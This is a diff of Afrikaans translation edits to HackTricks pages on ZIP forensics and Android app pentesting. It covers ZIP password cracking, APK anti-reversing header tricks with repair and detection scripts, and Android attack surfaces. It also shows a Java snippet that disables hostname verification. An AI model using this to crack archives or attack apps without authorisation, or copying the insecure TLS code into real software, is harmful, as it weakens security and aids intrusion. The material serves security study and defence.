Translated ['', 'src/network-services-pentesting/pentesting-web/spring-a

src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md

@@ -1,38 +1,38 @@
-# ZIPs truuks
+# ZIP-truuks
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-**Command-line tools** vir die bestuur van **zip files** is noodsaaklik vir die diagnose, herstel, en cracking van zip files. Hier is 'n paar sleutelhulpmiddels:
+**Command-line tools** vir die bestuur van **zip files** is noodsaaklik vir die diagnose, herstel en kraak van zip files. Hier is 'n paar sleutelhulpmiddels:
 
-- **`unzip`**: Toon waarom 'n zip file dalk nie gedekomprimeer kan word nie.
-- **`zipdetails -v`**: Bied gedetailleerde ontleding van zip file-formaat velde.
+- **`unzip`**: Onthul waarom 'n zip file dalk nie kan dekomprimeer nie.
+- **`zipdetails -v`**: Bied 'n gedetailleerde ontleding van zip file-formaatvelde.
 - **`zipinfo`**: Lys die inhoud van 'n zip file sonder om dit uit te pak.
 - **`zip -F input.zip --out output.zip`** en **`zip -FF input.zip --out output.zip`**: Probeer beskadigde zip files te herstel.
-- **[fcrackzip](https://github.com/hyc/fcrackzip)**: 'n hulpmiddel vir brute-force cracking van zip-wagwoorde, effektief vir wagwoorde tot ongeveer 7 karakters.
+- **[fcrackzip](https://github.com/hyc/fcrackzip)**: 'n hulpmiddel vir brute-force kraak van zip passwords, effektief vir passwords tot ongeveer 7 karakters.
 
-Die [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) bied omvattende besonderhede oor die struktuur en standaarde van zip files.
+Die [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) verskaf omvattende besonderhede oor die struktuur en standaarde van zip files.
 
-Dit is belangrik om daarop te let dat wagwoord-beskermde zip files **nie filenamen of lêergroottes binne-in enkodeer nie**, 'n sekuriteitsgebrek wat nie by RAR of 7z files voorkom nie, aangesien dié die inligting enkodeer. Verder is zip files wat met die ouer ZipCrypto-metode versleuteld is kwesbaar vir 'n **plaintext attack** as 'n onversleutelde kopie van 'n gecomprimeerde lêer beskikbaar is. Hierdie aanval benut die bekende inhoud om die zip se wagwoord te crack, 'n kwesbaarheid wat in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) uiteengesit word en verder verduidelik in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Zip files wat egter met **AES-256** beskerm word, is immuun teen hierdie plaintext attack, wat die belangrikheid van veilige enkripsiemetodes vir sensitiewe data aantoon.
+Dit is belangrik om te let dat password-protected zip files **nie filenamens of lêergroottes binne die argief enkripteer nie**, 'n sekuriteitsfout wat nie deur RAR of 7z lêers gedeel word nie, aangesien hulle hierdie inligting enkripteer. Verder is zip files wat met die ouer ZipCrypto-metode geënkripteer is kwesbaar vir 'n **plaintext attack** as 'n ongeënkripteerde kopie van 'n gecomprimeerde lêer beskikbaar is. Hierdie aanval gebruik die bekende inhoud om die zip se wagwoord te kraak, 'n kwesbaarheid wat in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) uiteengesit word en verder verduidelik word in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Zip files wat met **AES-256** enkripsie beveilig is egter immuun teen hierdie plaintext attack, wat die belangrikheid aandui om veilige enkripsiemetodes te kies vir sensitiewe data.
 
 ---
 
-## Anti-reversing tricks in APKs using manipulated ZIP headers
+## Anti-reversing truuks in APKs deur gemanipuleerde ZIP-headers
 
-Moderne Android malware droppers gebruik foutief gevormde ZIP-metadata om statiese gereedskap (jadx/apktool/unzip) te breek terwyl die APK steeds op die toestel geïnstalleer kan word. Die mees algemene truuks is:
+Moderne Android malware droppers gebruik wanvormige ZIP-metadata om statiese gereedskap (jadx/apktool/unzip) te breek terwyl die APK steeds op die toestel installeerbaar bly. Die mees algemene truuks is:
 
-- Fake encryption by setting the ZIP General Purpose Bit Flag (GPBF) bit 0
-- Abusing large/custom Extra fields to confuse parsers
-- File/directory name collisions to hide real artifacts (e.g., a directory named `classes.dex/` next to the real `classes.dex`)
+- Fake encryption deur die ZIP General Purpose Bit Flag (GPBF) bit 0 te stel
+- Misbruik van groot/aangepaste Extra fields om parsers te verwar
+- Lêer/gids naambotsings om werklike artefakte te verberg (bv. 'n directory genaamd `classes.dex/` langs die werklike `classes.dex`)
 
 ### 1) Fake encryption (GPBF bit 0 set) without real crypto
 
 Simptome:
-- `jadx-gui` faal met foute soos:
+- `jadx-gui` misluk met foute soos:
 
 ```
 java.util.zip.ZipException: invalid CEN header (encrypted entry)
 ```
-- `unzip` vra vir 'n wagwoord vir kern APK-lêers, alhoewel 'n geldige APK nie versleutelde `classes*.dex`, `resources.arsc`, of `AndroidManifest.xml` kan hê nie:
+- `unzip` vra vir 'n wagwoord vir kern-APK-lêers selfs al kan 'n geldige APK nie geënkripteerde `classes*.dex`, `resources.arsc`, of `AndroidManifest.xml` hê nie:
 
 ```bash
 unzip sample.apk
@@ -47,7 +47,7 @@ Opsporing met zipdetails:
 ```bash
 zipdetails -v sample.apk | less
 ```
-Kyk na die General Purpose Bit Flag vir plaaslike en sentrale headers. ’n kenmerkende waarde is dat bit 0 gestel is (Encryption) selfs vir kerninskrywings:
+Kyk na die General Purpose Bit Flag vir local en central headers. 'n Duidelike teken is dat bit 0 gestel is (Encryption) selfs vir core entries:
 ```
 Extract Zip Spec      2D '4.5'
 General Purpose Flag  0A09
@@ -56,9 +56,9 @@ General Purpose Flag  0A09
 [Bit 3]   1 'Streamed'
 [Bit 11]  1 'Language Encoding'
 ```
-Heuristiek: As 'n APK op die toestel installeer en loop, maar kerninskrywings vir tools as "geënkripteer" verskyn, is die GPBF gemanipuleer.
+Heuristiek: As 'n APK op die toestel installeer en hardloop maar kerninskrywings vir gereedskap as "geënkripteer" verskyn, is die GPBF gemanipuleer.
 
-Los dit op deur GPBF bit 0 in beide Local File Headers (LFH) en Central Directory (CD) inskrywings op 0 te stel. Minimale byte-patcher:
+Los dit op deur GPBF bit 0 in beide Local File Headers (LFH) en Central Directory (CD) inskrywings uit te skakel. Minimale byte-patcher:
 ```python
 # gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers
 import struct, sys
@@ -94,33 +94,33 @@ Gebruik:
 python3 gpbf_clear.py obfuscated.apk normalized.apk
 zipdetails -v normalized.apk | grep -A2 "General Purpose Flag"
 ```
-Jy behoort nou `General Purpose Flag  0000` op kerninskrywings te sien en gereedskap sal die APK weer ontleed.
+Jy behoort nou `General Purpose Flag  0000` op kerninskrywings te sien en tools sal die APK weer parse.
 
 ### 2) Groot/aangepaste Extra-velde om parsers te breek
 
-Aanvallers prop oorgrootte Extra-velde en vreemde ID's in opskrifte om dekompilers te laat struikel. In die praktyk mag jy pasgemaakte merkers (bv. strings soos `JADXBLOCK`) daarin ingebed sien.
+Aanvallers prop oorgrootte Extra-velde en vreemde IDs in headers om decompilers te laat struikel. In die veld mag jy aangepaste merkers (bv. strings soos `JADXBLOCK`) daar ingebed sien.
 
 Inspeksie:
 ```bash
 zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50
 ```
-Waargenome voorbeelde: onbekende ID's soos `0xCAFE` ("Java Executable") of `0x414A` ("JA:") wat groot payloads dra.
+Waargenome voorbeelde: onbekende IDs soos `0xCAFE` ("Java Executable") of `0x414A` ("JA:") wat groot payloads dra.
 
-DFIR heuristics:
-- Waarsku wanneer Extra fields ongewoon groot is op kerninskrywings (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`).
+DFIR heuristieke:
+- Waarsku wanneer Extra-velde ongewoon groot is op kerninskrywings (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`).
 - Beskou onbekende Extra IDs op daardie inskrywings as verdag.
 
-Praktiese mitigasie: die herrangskikking van die argief (bv. re-zipping van uitgepakte lêers) verwyder kwaadwillige Extra fields. As tools weier om te onttrek weens vals enkripsie, vee eers GPBF bit 0 uit soos hierbo, en herpak dan:
+Praktiese mitigasie: die herbou van die argief (bv. deur die uitgepakte lêers weer te zip) verwyder kwaadwillige Extra-velde. As gereedskap weier om te onttrek weens valse enkripsie, maak eers GPBF bit 0 skoon soos hierbo, en herverpak dan:
 ```bash
 mkdir /tmp/apk
 unzip -qq normalized.apk -d /tmp/apk
 (cd /tmp/apk && zip -qr ../clean.apk .)
 ```
-### 3) Lêer/Map-naambotsings (versteek werklike artefakte)
+### 3) Lêer/Gids-naambotsings (verberg werklike artefakte)
 
-'n ZIP kan beide 'n lêer `X` en 'n gids `X/` bevat. Sommige extractors en decompilers raak verward en kan die werklike lêer oorlê of verberg met 'n gidsinskrywing. Dit is waargeneem met inskrywings wat bots met kern-APK-name soos `classes.dex`.
+'n ZIP kan beide 'n lêer `X` en 'n gids `X/` bevat. Sommige uittrekkers en dekompileerders raak verward en kan die werklike lêer met 'n gidsinskrywing oorlê of verberg. Dit is waargeneem by inskrywings wat bots met kern-APK-name soos `classes.dex`.
 
-Triage en veilige uitpak:
+Triasie en veilige ekstraksie:
 ```bash
 # List potential collisions (names that differ only by trailing slash)
 zipinfo -1 sample.apk | awk '{n=$0; sub(/\/$/,"",n); print n}' | sort | uniq -d
@@ -131,7 +131,7 @@ unzip normalized.apk -d outdir
 # replace outdir/classes.dex? [y]es/[n]o/[A]ll/[N]one/[r]ename: r
 # new name: unk_classes.dex
 ```
-Programmatiese opsporing agtervoegsel:
+Programmatiese opsporing post-fix:
 ```python
 from zipfile import ZipFile
 from collections import defaultdict
@@ -148,10 +148,10 @@ for base, variants in collisions.items():
 if len(variants) > 1:
 print('COLLISION', base, '->', variants)
 ```
-Blue-team deteksie-ideeë:
-- Merk APKs waarvan die lokale headers enkripsie aandui (GPBF bit 0 = 1) maar steeds installeer/voer uit.
-- Merk groot/onbekende Extra fields op core entries (kyk vir merkers soos `JADXBLOCK`).
-- Merk padbotsings (`X` and `X/`) spesifiek vir `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`.
+Blue-team opsporingsidees:
+- Merk APKs waarvan die plaaslike headers enkripsie aandui (GPBF bit 0 = 1) maar steeds installeer/uitvoer.
+- Merk groot of onbekende Extra-velde op kerninskrywings (soek merkers soos `JADXBLOCK`).
+- Merk padbotsings (`X` en `X/`) spesifiek vir `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`.
 
 ---
 

src/mobile-pentesting/android-app-pentesting/README.md

@@ -2,9 +2,9 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Android Toepassings Basiese beginsels
+## Android Toepassings Basiese
 
-Dit word sterk aanbeveel om eers hierdie bladsy te lees om meer te weet oor die **belangrikste dele wat verband hou met Android-sekuriteit en die gevaarlikste komponente in 'n Android-toepassing**:
+Dit word sterk aanbeveel om eers hierdie bladsy te lees om te weet oor die **belangrikste dele wat verband hou met Android-sekuriteit en die gevaarlikste komponente in 'n Android-toepassing**:
 
 
 {{#ref}}
@@ -13,24 +13,24 @@ android-applications-basics.md
 
 ## ADB (Android Debug Bridge)
 
-Dit is die hoofgereedskap wat jy benodig om met 'n Android-toestel (geëmuleer of fisies) te verbind.\
-**ADB** laat toe om toestelle te beheer óf oor **USB** óf oor **Network** vanaf 'n rekenaar. Hierdie hulpmiddel maak dit moontlik om lêers in albei rigtings te **kopieer**, apps te **installeer** en te **deïnstalleer**, shell-opdragte uit te **voer**, data te **rugsteun**, logs te **lees**, en ander funksies.
+Dit is die hoofgereedskap wat jy nodig het om aan 'n Android-toestel te koppel (geëmuleer of fisies).\
+**ADB** maak dit moontlik om toestelle te beheer óf oor **USB** óf oor **Network** vanaf 'n rekenaar. Hierdie nutsprogram maak moontlik die **kopiering** van lêers in beide rigtings, **installasie** en **verwydering** van apps, die **uitvoering** van shell-opdragte, die **rugsteun** van data, die **lees** van logs, nevens ander funksies.
 
 Kyk na die volgende lys van [**ADB Commands**](adb-commands.md) om te leer hoe om adb te gebruik.
 
 ## Smali
 
-Soms is dit interessant om die **aansoekkode te wysig** om by **weggesteekte inligting** te kom (bv. goed geobfuskate wagwoorde of flags). Dan kan dit interessant wees om die apk te dekompileer, die kode te wysig en dit weer saam te stel.\
+Soms is dit interessant om die **toepassingskode te wysig** om by **verborgen inligting** uit te kom (byv. goed gefluisterde wagwoorde of flags). In daardie geval kan dit sin maak om die APK te dekompileer, die kode te wysig en dit weer te compileer.\
 [**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Dit kan baie nuttig wees as 'n **alternatief vir verskeie toetse tydens die dinamiese analise** wat aangebied gaan word. Hou dus **altyd hierdie moontlikheid in gedagte**.
 
-## Ander interessante wenke
+## Other interesting tricks
 
 - [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
 - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
 - [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
 - [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
-- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
-- Onttrek APK vanaf toestel:
+- **Laai APKs af**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
+- Haal APK uit toestel:
 ```bash
 adb shell pm list packages
 com.android.insecurebankv2
@@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
 # after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
 java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
 ```
-## Gevallestudies & Kwetsbaarhede
+## Gevallestudies & Kwesbaarhede
 
 
 {{#ref}}
@@ -63,36 +63,37 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
 
 ## Statiese Analise
 
-Eerstens, om 'n APK te ontleed, behoort jy **na die Java code te kyk** met 'n dekompiler.\
-Please, [**read here to find information about different available decompilers**](apk-decompilers.md).
+Eerstens, om 'n APK te ontleed moet jy **na die Java-kode kyk** met 'n dekompiler.\
+Lees asseblief, [**read here to find information about different available decompilers**](apk-decompilers.md).
 
-### Op soek na interessante inligting
+### Soek na interessante inligting
 
-Net deur na die **strings** van die APK te kyk kan jy soek na **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** en enigiets interessant... kyk selfs vir code execution **backdoors** of authentication backdoors (hardcoded admin credentials to the app).
+Deur net na die **strings** van die APK te kyk, kan jy soek na **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** en enigiets interessant... kyk selfs vir code execution **backdoors** of authentication backdoors (hardcoded admin credentials to the app).
 
 **Firebase**
 
-Gee besondere aandag aan **firebase URLs** en kontroleer of dit swak gekonfigureer is. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
+Gee besondere aandag aan **firebase URLs** en kontroleer of dit verkeerd gekonfigureer is. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
 
-### Basiese begrip van die aansoek - Manifest.xml, strings.xml
+### Basiese begrip van die toepassing - Manifest.xml, strings.xml
 
-Die **ondersoek van 'n aansoek se _Manifest.xml_ en _strings.xml_ lêers kan potensiële sekuriteitskwesbaarhede openbaar**. Hierdie lêers kan verkry word met behulp van dekompilers of deur die APK-lêeruitbreiding na .zip te hernoem en dit dan uit te pak.
+Die **ondersoek van 'n toepassing se _Manifest.xml_ en **_strings.xml_** lêers kan potensiële sekuriteitskwesbaarhede openbaar**. Hierdie lêers kan met 'n dekompiler gesien word of deur die APK-lêer-uitbreiding na .zip te verander en dit dan uit te pak.
 
-**Kwetsbaarhede** geïdentifiseer uit die **Manifest.xml** sluit in:
+**Kwesbaarhede** wat uit die **Manifest.xml** geïdentifiseer word sluit in:
 
-- **Debuggable Applications**: Toepassings wat as debuggable gestel is (`debuggable="true"`) in die _Manifest.xml_ lêer vorm 'n risiko aangesien hulle verbindings toelaat wat tot uitbuiting kan lei. Vir meer begrip oor hoe om debuggable toepassings te misbruik, verwys na 'n handleiding oor die vind en benut van debuggable toepassings op 'n toestel.
-- **Backup Settings**: Die `android:allowBackup="false"` attribuut moet eksplisiet gestel word vir toepassings wat met sensitiewe inligting werk om ongemagtigde data-rugsteun via adb te voorkom, veral wanneer usb debugging aangeskakel is.
-- **Network Security**: Pasgemaakte network security konfigurasies (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ kan sekuriteitsbesonderhede soos certificate pins en HTTP-verkeerinstellings spesifiseer. 'n Voorbeeld is om HTTP-verkeer vir spesifieke domeine toe te laat.
-- **Exported Activities and Services**: Die identifisering van exported activities en services in die manifest kan komponente uitlig wat misbruik kan word. Verdere analise gedurende dinamiese toetsing kan openbaar hoe om hierdie komponente te benut.
+- **Debuggable Applications**: Toepassings wat as debuggable (`debuggable="true"`) in die _Manifest.xml_ gestel is, vorm 'n risiko omdat dit verbindings toelaat wat tot uitbuiting kan lei. Vir meer begrip oor hoe om debuggable applications te misbruik, verwys na 'n handleiding oor die vind en uitbuiting van debuggable applications op 'n toestel.
+- **Backup Settings**: Die `android:allowBackup="false"` attribuut moet eksplisiet gestel word vir toepassings wat met sensitiewe inligting werk om ongemagtigde data-rugsteun via adb te voorkom, veral wanneer usb debugging geaktiveer is.
+- **Network Security**: Custom network security configurations (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ kan sekuriteitsbesonderhede soos sertifikaat pins en HTTP-verkeerinstellings spesifiseer. 'n Voorbeeld is om HTTP-verkeer vir spesifieke domeine toe te laat.
+- **Exported Activities and Services**: Om exported activities en services in die manifest te identifiseer kan komponente uitwys wat moontlik misbruik kan word. Verdere ontleding tydens dinamiese toetsing kan dui hoe om hierdie komponente uit te buit.
 - **Content Providers and FileProviders**: Blootgestelde content providers kan ongemagtigde toegang of wysiging van data toelaat. Die konfigurasie van FileProviders moet ook noukeurig ondersoek word.
-- **Broadcast Receivers and URL Schemes**: Hierdie komponente kan benut word vir uitbuiting, met besondere aandag aan hoe URL schemes vir inset-kwessies bestuur word.
-- **SDK Versions**: Die `minSdkVersion`, `targetSDKVersion`, en `maxSdkVersion` attributen dui die ondersteunede Android weergawes aan, wat die belangrikheid beklemtoon om nie verouderde, kwesbare Android weergawes te ondersteun nie.
+- **Broadcast Receivers and URL Schemes**: Hierdie komponente kan gebruik word vir uitbuiting, met besondere aandag aan hoe URL schemes vir invoer-kwesbaarhede bestuur word.
+- **SDK Versions**: Die `minSdkVersion`, `targetSDKVersion`, en `maxSdkVersion` attribuute dui die ondersteunde Android weergawes aan, wat die belangrikheid uitlig om nie verouderde, kwesbare Android weergawes te ondersteun nie.
 
-Uit die **strings.xml** lêer kan sensitiewe inligting soos API keys, custom schemas en ander ontwikkelaarnotas ontdek word, wat die behoefte aan 'n deeglike hersiening van hierdie hulpbronne beklemtoon.
+Uit die **strings.xml** lêer kan sensitiewe inligting soos API keys, custom schemas, en ander ontwikkelaar-aantekeninge gevind word, wat die noodsaaklikheid van 'n noukeurige hersiening van hierdie hulpbronne beklemtoon.
 
 ### Tapjacking
 
-**Tapjacking** is 'n aanval waar 'n **malicious** **application** gelanseer word en homself bo-op 'n victim application posisioneer. Sodra dit die victim app sigbaar verberg, is sy gebruikerskoppelvlak so ontwerp dat dit die gebruiker mislei om daarmee te interaksie, terwyl dit die interaksie aan die victim app deurgee. Effektief blind dit die gebruiker ten opsigte daarvan dat hulle eintlik aksies op die victim app uitvoer.
+Tapjacking is 'n aanval waar 'n kwaadwillige toepassing geloods word en homself bo 'n slagoffer-toepassing posisioneer. Sodra dit die slagoffer-app sigbaar verberg, is sy gebruikerskoppelvlak so ontwerp om die gebruiker te mislei om daarmee te interaksie, terwyl dit die interaksie aan die slagoffer-app deurgee.\
+In werklikheid maak dit die gebruiker blind vir die feit dat hulle eintlik handelinge op die slagoffer-app verrig.
 
 Find more information in:
 
@@ -103,7 +104,7 @@ tapjacking.md
 
 ### Task Hijacking
 
-'n activity met die `launchMode` gestel op `singleTask` sonder enige `taskAffinity` gedefinieer is kwesbaar vir Task Hijacking. Dit beteken dat 'n application geïnstalleer kan word en as dit voor die werklike application gelanseer word, kan dit die taak van die werklike application kap (sodat die gebruiker met die malicious application sal interaksie hê terwyl hy dink hy gebruik die werklike een).
+'n **activity** met die **`launchMode`** gestel op **`singleTask` sonder enige `taskAffinity`** gedefinieer is kwesbaar vir Task Hijacking. Dit beteken dat 'n **application** geïnstalleer kan word en as dit voor die regte toepassing geloods word, kan dit die taak van die regte toepassing kap (sodat die gebruiker met die **malicious application** sal interaksie hê en dink hy gebruik die regte een).
 
 More info in:
 
@@ -112,69 +113,69 @@ More info in:
 android-task-hijacking.md
 {{#endref}}
 
-### Onveilige datastoor
+### Onveilige datastooring
 
-**Internal Storage**
+**Interne berging**
 
-In Android is lêers wat in **internal** storage gestoor word bedoel om uitsluitlik deur die app wat dit geskep het toeganklik te wees. Hierdie sekuriteitsmaatreël word deur die Android bedryfstelsel afgedwing en is gewoonlik voldoende vir die sekuriteitsbehoeftes van meeste toepassings. Ontwikkelaars gebruik soms egter modusse soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om lêers tussen verskeie toepassings te deel. Hierdie modusse beperk egter nie toegang tot hierdie lêers deur ander toepassings nie, insluitende potensieel malicious ones.
+In Android is lêers wat in **internal** storage gestoor word ontwerp om uitsluitlik deur die **app** wat dit geskep het toeganklik te wees. Hierdie sekuriteitsmaatreël word deur die Android-bedryfstelsel afgedwing en is oor die algemeen voldoende vir die sekuriteitsbehoeftes van die meeste toepassings. Ontwikkelaars gebruik egter soms modes soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om lêers tussen verskillende toepassings te deel. Hierdie modes beperk egter nie die toegang tot hierdie lêers deur ander toepassings nie, insluitend moontlik kwaadwillige toepassings.
 
-1. **Static Analysis:**
-- **Ensure** dat die gebruik van `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` noukeurig geïnspekteer word. Hierdie modusse **kan moontlik** lêers aan **onbedoelde of ongemagtigde toegang** blootstel.
-2. **Dynamic Analysis:**
-- **Verify** die **permissions** wat op lêers geskep deur die app gestel is. Spesifiek, **kontroleer** of enige lêers ingestel is om wêreldwyd lees- of skryftoegang te hê. Dit kan 'n beduidende sekuriteitsrisiko inhou, aangesien dit **enige application** geïnstalleer op die toestel toelaat, ongeag oorsprong of doel, om hierdie lêers te **lees of wysig**.
+1. **Statiese Analise:**
+- **Maak seker** dat die gebruik van `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` noukeurig ondersoek word. Hierdie modes **kan moontlik lêers blootstel** aan **onbedoelde of ongemagtigde toegang**.
+2. **Dinamiese Analise:**
+- **Verifieer** die **permissies** wat op lêers geskep deur die app gestel is. Spesifiek, **kontroleer** of enige lêers **gestel is om wêreldwyd leesbaar of skryfbaar te wees**. Dit kan 'n beduidende sekuriteitsrisiko inhou, aangesien dit **enige toepassing** op die toestel, ongeag oorsprong of bedoeling, toelaat om hierdie lêers te **lees of te wysig**.
 
-**External Storage**
+**Eksterne berging**
 
-Wanneer jy met lêers op **external storage** werk, soos SD Cards, moet sekere voorsorgmaatreëls getref word:
+Wanneer dit by lêers op **external storage** kom, soos SD Cards, moet sekere voorsorgmaatreëls getref word:
 
-1. **Accessibility**:
-- Lêers op external storage is **globaal leesbaar en skryfbaar**. Dit beteken enige application of gebruiker kan toegang hê tot hierdie lêers.
-2. **Security Concerns**:
+1. **Toeganklikheid**:
+- Lêers op external storage is **globaal leesbaar en skryfbaar**. Dit beteken enige toepassing of gebruiker kan toegang kry tot hierdie lêers.
+2. **Sekuriteitskwessies**:
 - Gegewe die maklike toegang, word dit aanbeveel **om nie sensitiewe inligting op external storage te stoor nie**.
-- External storage kan verwyder of deur enige application benader word, wat dit minder veilig maak.
-3. **Handling Data from External Storage**:
-- Voer altyd **input validation** uit op data wat van external storage verkry is. Dit is kritiek omdat die data van 'n onbetroubare bron afkomstig is.
-- Dit word sterk ontraden om uitvoerbare lêers of class files op external storage te stoor vir dinamiese laai.
-- As jou toepassing uitvoerbare lêers van external storage moet herwin, maak seker dat hierdie lêers **signed and cryptographically verified** is voordat hulle dinamies gelaai word. Hierdie stap is noodsaaklik om die sekuriteitsintegriteit van jou toepassing te handhaaf.
+- External storage kan verwyder word of deur enige toepassing benader word, wat dit minder veilig maak.
+3. **Hantering van data vanaf external storage**:
+- Voer altyd **input validation** uit op data wat van external storage verkry word. Dit is kritiek omdat die data van 'n onbetroubare bron kom.
+- Dit word sterk ontraden om uitvoerbare of klasklasse op external storage te stoor vir dinamiese lading.
+- As jou toepassing verplig is om uitvoerbare lêers van external storage te laai, verseker dat hierdie lêers **gesigneer en kriptografies verifieer** is voordat hulle dinamies gelaai word. Hierdie stap is van kardinale belang vir die instandhouding van die sekuriteitsintegriteit van jou toepassing.
 
-External storage kan geakses word in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
+External storage kan in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` toeganklik wees
 
 > [!TIP]
-> Starting with Android 4.4 (**API 17**), the SD card has a directory structure which **limits access from an app to the directory which is specifically for that app**. This prevents malicious application from gaining read or write access to another app's files.
+> Vanaf Android 4.4 (**API 17**) het die SD-kaart 'n gidsstruktuur wat die toegang van 'n app beperk tot die gids wat spesifiek vir daardie app is. Dit voorkom dat kwaadwillige toepassings lees- of skryftoegang tot 'n ander app se lêers verkry.
 
-**Sensitiewe data gestoor in duidelike teks**
+**Gevoelige data in duidelike teks gestoor**
 
-- **Shared preferences**: Android laat elke application toe om maklik xml lêers te stoor in die pad `/data/data/<packagename>/shared_prefs/` en soms is dit moontlik om sensitiewe inligting in duidelike teks in daardie gids te vind.
-- **Databases**: Android laat elke application toe om maklik sqlite databases te stoor in die pad `/data/data/<packagename>/databases/` en soms is dit moontlik om sensitiewe inligting in duidelike teks in daardie gids te vind.
+- **Shared preferences**: Android laat elke toepassing toe om maklik xml-lêers in die paadjie `/data/data/<packagename>/shared_prefs/` te stoor en soms is dit moontlik om sensitiewe inligting in duidelike teks in daardie gids te vind.
+- **Databases**: Android laat elke toepassing toe om maklik sqlite-databasislêers in die paadjie `/data/data/<packagename>/databases/` te stoor en soms is dit moontlik om sensitiewe inligting in duidelike teks in daardie gids te vind.
 
-### Broken TLS
+### Gebroke TLS
 
-**Accept All Certificates**
+**Aanvaar alle sertifikate**
 
-Om sommige redes aanvaar ontwikkelaars soms alle sertifikate selfs al stem byvoorbeeld die hostname nie ooreen nie met reëls van kode soos die volgende een:
+Om een of ander rede aanvaar ontwikkelaars soms alle sertifikate selfs al stem byvoorbeeld die hostname nie ooreen nie, met reëls van kode soos die volgende:
 ```java
 SSLSocketFactory sf = new cc(trustStore);
 sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
 ```
 A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it.
 
-### Gebroke Kriptografie
+### Gebroke Kryptografie
 
-**Swakke Sleutelbestuursprosedures**
+**Swak Sleutelbestuursprosesse**
 
-Sommige ontwikkelaars stoor sensitiewe data in plaaslike stoorplekke en enkripteer dit met 'n sleutel wat hardgekodeer/voorspelbaar in die kode is. Dit behoort nie so te wees nie, aangesien reversing aanvallers kan toelaat om die vertroulike inligting te onttrek.
+Sommige ontwikkelaars stoor sensitiewe data in die plaaslike berging en enkripteer dit met ’n sleutel wat in die kode hardgekap of voorspelbaar is. Dit behoort nie so te gebeur nie aangesien reversing ’n aanvaller kan toelaat om die vertroulike inligting te onttrek.
 
 **Gebruik van Onveilige en/of Verouderde Algoritmes**
 
-Ontwikkelaars moet nie **deprecated algorithms** gebruik om autorisasie-**checks**, data te **store** of te **send** nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hashes** byvoorbeeld gebruik word om wagwoorde te stoor, moet **brute-force resistant** hashes met salt gebruik word.
+Ontwikkelaars behoort nie **deprecated algorithms** te gebruik om authorisation **checks**, **store** of **send** data uit te voer nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... Indien **hashes** byvoorbeeld gebruik word om wagwoorde te stoor, moet hashes wat brute-force bestand is met salt gebruik word.
 
 ### Ander kontroles
 
-- Dit word aanbeveel om die **APK te obfuskeer** om die omgekeerde-ingenieurswerk vir aanvallers moeiliker te maak.
-- As die app sensitief is (soos bankapps), moet dit sy **eie kontroles uitvoer om te sien of die mobile toestel geroot is** en dienooreenkomstig optree.
-- As die app sensitief is (soos bankapps), moet dit nagaan of 'n **emulator** gebruik word.
-- As die app sensitief is (soos bankapps), moet dit **sy eie integriteit kontroleer voordat dit uitgevoer word** om te sien of dit gewysig is.
-- Gebruik [**APKiD**](https://github.com/rednaga/APKiD) om te kontroleer watter compiler/packer/obfuscator gebruik is om die APK te bou
+- Dit word aanbeveel om die APK te **obfuskeer** om die reverse-engineer se werk vir aanvalers moeiliker te maak.
